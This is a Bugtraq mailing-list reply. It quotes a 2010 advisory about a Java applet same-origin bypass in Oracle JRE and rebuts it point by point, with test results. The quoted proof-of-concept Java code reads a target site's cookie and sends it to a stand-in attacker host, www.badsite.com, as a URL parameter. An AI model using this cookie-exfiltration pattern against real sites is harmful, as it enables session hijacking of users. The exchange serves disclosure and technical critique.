Bugtraq mailing list archives
Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass
From: Mike Duncan <Mike.Duncan () noaa gov>
Date: Wed, 20 Oct 2010 11:05:11 -0400
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Comments are inline below... On 10/19/2010 07:18 AM, Roberto Suggi Liverani wrote:
( , ) (,
. `.' ) ('. ',
). , ('. ( ) (
(_,) .`), ) _ _,
/ _____/ / _ \ ____ ____ _____
\____ \==/ /_\ \ _/ ___\/ _ \ / \
/ \/ | \\ \__( <_> ) Y Y \
/______ /\___|__ / \___ >____/|__|_| /
\/ \/.-. \/ \/:wq
(x.0)
'=.|w|.='
_='`"``=.
presents..
Oracle JRE - java.net.URLConnection class –
Same-of-Origin (SOP) Policy Bypass
PDF: http://www.security-assessment.com/files/advisories/Oracle_JRE_java_net_urlconnection_SOP_Bypass.pdf
CVE Identifier: http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3573
+-----------+
|Description|
+-----------+
Security-Assessment.com discovered that a Java Applet
making use of java.net.URLConnection class can be used
to bypass same-of-origin (SOP) policy and domain based
security controls in modern browsers when communication
occurs between two domains that resolve to the same IP
address. This advisory includes a Proof-of-Concept
(PoC) demo and a Java Applet source code, which
demonstrates how this security can be exploited to leak
cookie information to an unauthorised domain, which
resides on the same host IP address.
+------------+
|Exploitation|
+------------+
The Flash movie demo can be viewed at the following
link:
http://www.security-assessment.com/files/advisories/java_net_urlconnection_sop_bypass_demo.swf
Proof of Concept (PoC) in demo demonstrates that a
Cross Site Request Forgery (XSRF) attack can be leveraged
by using a Java Applet which implements the
java.net.URLConnection class. Traditionally, XSRF is used
to force a user to perform an unwanted action on a target
web site. In this case, the PoC shows that XSRF can be
used to capture sensitive information such as cookie
associated to a target web site.
The following assumptions are made in this PoC:
1. Virtual hosts www.targetsite.net and
www.badsite.com resolve to the same IP address;
2. Malicious user controls www.badsite.com web site;
3. Malicious user targets www.targetsite.net users.
The following list summarises the sequence of actions
shown in the demo:
1. User has a valid cookie for www.targetsite.net
2. The same user visits www.badsite.com which performs
a cross site forged request to www.targetsite.net .
The forged request is performed by a Java Applet
embedded on the malicious site. The Java Applet
bypasses the Same-of-Origin policy as an unsigned Java
Applet should not be able to communicate
from www.badsite.com to www.targetsite.net without
a crossdomain.xml policy file.
Java Applets do not require crossdomain.xml files. It is Flash objects you are thinking about here. If an applet wishes to provide network access to another host, other than the host which loaded the applet, it must be signed and the user must accept the signature.
3. Java Applet performs first GET request to
www.targetsite.net. At this stage, the Java Applet
controls the Cookie: header sent to www.targetsite.net
through the getRequestProperty("cookie") method.
This is in breach with SOP.
In the code (sorry for wrapping issues)...
URL url = new URL("http://www.targetsite.net/default.html");
URLConnection connection;
String inputLine;
BufferedReader inReader;
connection = url.openConnection();
connection.setAllowUserInteraction(false);
connection.setDoOutput(true);
messageLog.append("Request
Property"+connection.getRequestProperty("cookie")+"\n");
messageLog.append("File read from URL " + url + ":\n");
inReader = new BufferedReader(
new InputStreamReader(connection.getInputStream()));
while (null != (inputLine = inReader.readLine())) {
messageLog.append(inputLine + "\n");
}
inReader.close();
messageLog.append("Request
Property"+connection.getRequestProperty("cookie")+"\n");
...you simply connect to targetsite.net and then download a cookie using
getRequestHeader. This is not a breach of any kind but expected behavior
for a signed applet which has been allowed to perform this action.
4. A second request is done for the purpose of the demo which leaks www.targetsite.net cookie’s to www.badsite.com via an HTTP GET request.
Yeah, by generating another request to the host and sending it directly
within the parameters/input to the end-point script/application. This is
again, expected behavior for a signed applet. Since I was not able to
reproduce your results using the an older version of Java and without
signing the applet (see below), I do not understand how you came to
these results.
Here is the remaining code, FWIW...
String cookie;
cookie = connection.getRequestProperty("cookie");
URL url2 = new
URL("http://www.badsite.com/default.html?cookie="+cookie);
URLConnection connection2;
String inputLine2;
BufferedReader inReader2;
connection2 = url2.openConnection();
connection2.setAllowUserInteraction(false);
connection2.setDoOutput(true);
inReader2 = new BufferedReader(
new
InputStreamReader(connection2.getInputStream()));
while (null != (inputLine2 = inReader2.readLine())) {
messageLog.append(inputLine2 + "\n");
}
inReader2.close();
}
See? You simply send the cookie value as a parameter. If the code was
signed or if you allow Java applets to be executed without signatures,
then I can see your argument. But again, this is expected and nothing new.
Testing was successfully performed using Java(TM) SE Runtime Environment (build 1.6.0_21-b07) and the following browsers: - Mozilla Firefox 3.5.8 (Windows XP) - Opera 10.60 (Windows XP) - Internet Explorer 6.0.2900.5512 (Windows XP) - Google Chrome 5.0.375.9 (Windows XP) - Internet Explorer 8.0.6001.18702 (Windows XP) - Safari 5.0 (7533.16) (Windows XP)
My tests were using Firefox 3.6.10 and Java v1.6.0_21...
java version "1.6.0_21"
Java(TM) SE Runtime Environment (build 1.6.0_21-b06)
Java HotSpot(TM) Server VM (build 17.0-b16, mixed mode)
...and my results are exactly what I thought they would be. Using an
older version than you are using and after fixing the name in the source
code provided to allow it to compile correctly (yes, the code does not
compile out of the box), I got the following expected exception...
java.security.AccessControlException: access denied
(java.net.SocketPermission www.targetsite.net:80 connect,resolve)
at
java.security.AccessControlContext.checkPermission(AccessControlContext.java:323)
at
java.security.AccessController.checkPermission(AccessController.java:546)
at
java.lang.SecurityManager.checkPermission(SecurityManager.java:532)
at java.lang.SecurityManager.checkConnect(SecurityManager.java:1034)
at sun.net.www.http.HttpClient.openServer(HttpClient.java:527)
at sun.net.www.http.HttpClient.<init>(HttpClient.java:233)
at sun.net.www.http.HttpClient.New(HttpClient.java:306)
at sun.net.www.http.HttpClient.New(HttpClient.java:323)
at
sun.net.www.protocol.http.HttpURLConnection.getNewHttpClient(HttpURLConnection.java:860)
at
sun.net.www.protocol.http.HttpURLConnection.plainConnect(HttpURLConnection.java:801)
at
sun.net.www.protocol.http.HttpURLConnection.connect(HttpURLConnection.java:726)
at
sun.net.www.protocol.http.HttpURLConnection.getInputStream(HttpURLConnection.java:1049)
at MaliciousJavaApplet2.start(MaliciousJavaApplet2.java:37)
at sun.applet.AppletPanel.run(AppletPanel.java:464)
at java.lang.Thread.run(Thread.java:619)
This is thrown because the code was not signed and I did not give
permission for the applet to access networking on my test host to
presumably lookup "targetsite.net".
The Java Applet source code used in the demo can be downloaded at the following link: http://www.security-assessment.com/files/advisories/MaliciousJavaApplet.zip
I highly doubt this is the actual course code since it does not compile without edits from the user.
+--------+ |Solution| +--------+ Security-Assessment.com follows responsible disclosure and promptly contacted Oracle after discovering the issue. Oracle was contacted on August 1, 2010. Oracle has created a fix for this vulnerability which has been included as part of Critical Patch Update Advisory - October 2010. Security-Assessment.com recommends all users of JRE and JDK to upgrade to the latest version as soon as possible.
We appreciate the responsible disclosure, but I am looking at the advisories for Oct 2010 from Oracle (see http://www.oracle.com/technetwork/topics/security/cpuoct2010-175626.html) and I do not see this "fix" listed anywhere. I see Java VM stuff but only in the context of being fixed as part of another, parent component like Database Server. Am I looking in the wrong place?
For more information on the new release of JRE/JDK please refer to the link: http://www.oracle.com/technetwork/java/javase/downloads/index.html +------+ |Credit| +------+ Discovered and advised to Oracle August 2010 by Roberto Suggi Liverani of Security-Assessment.com. Personal site: http://malerisch.net
My guess is that you are trusting these applets to execute in some manner which you are not aware of -- perhaps, you simply accepted the certificate once before choosing "Accept Always..." or something and this is messing with your results. It seems to me that a huge issue like this would have made more noise too. URLConnection is not exactly an unused class in Java. It is everywhere and used in a lot of applications. Good luck. Mike Duncan Dep. ISSO, Application Security Specialist National Climatic Data Center, NOAA -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.15 (GNU/Linux) Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org/ iEYEARECAAYFAky/BSYACgkQnvIkv6fg9hYakgCfYnPD4UBncy071TBAsV0re952 yAAAoJIKFM4IpHouzW5p4VpaVoEatp2c =Is68 -----END PGP SIGNATURE-----
Current thread:
- Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Roberto Suggi Liverani (Oct 19)
- Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Mike Duncan (Oct 20)
- Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Michal Zalewski (Oct 20)
- Re: [Full-disclosure] Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Dan Kaminsky (Oct 20)
- Re: [Full-disclosure] Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Early Warning (Oct 21)
- Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Roberto Suggi Liverani (Oct 21)
- <Possible follow-ups>
- Re: Security-Assessment.com Advisory: Oracle JRE - java.net.URLConnection class - Same-of-Origin (SOP) Policy Bypass Mike Duncan (Oct 21)
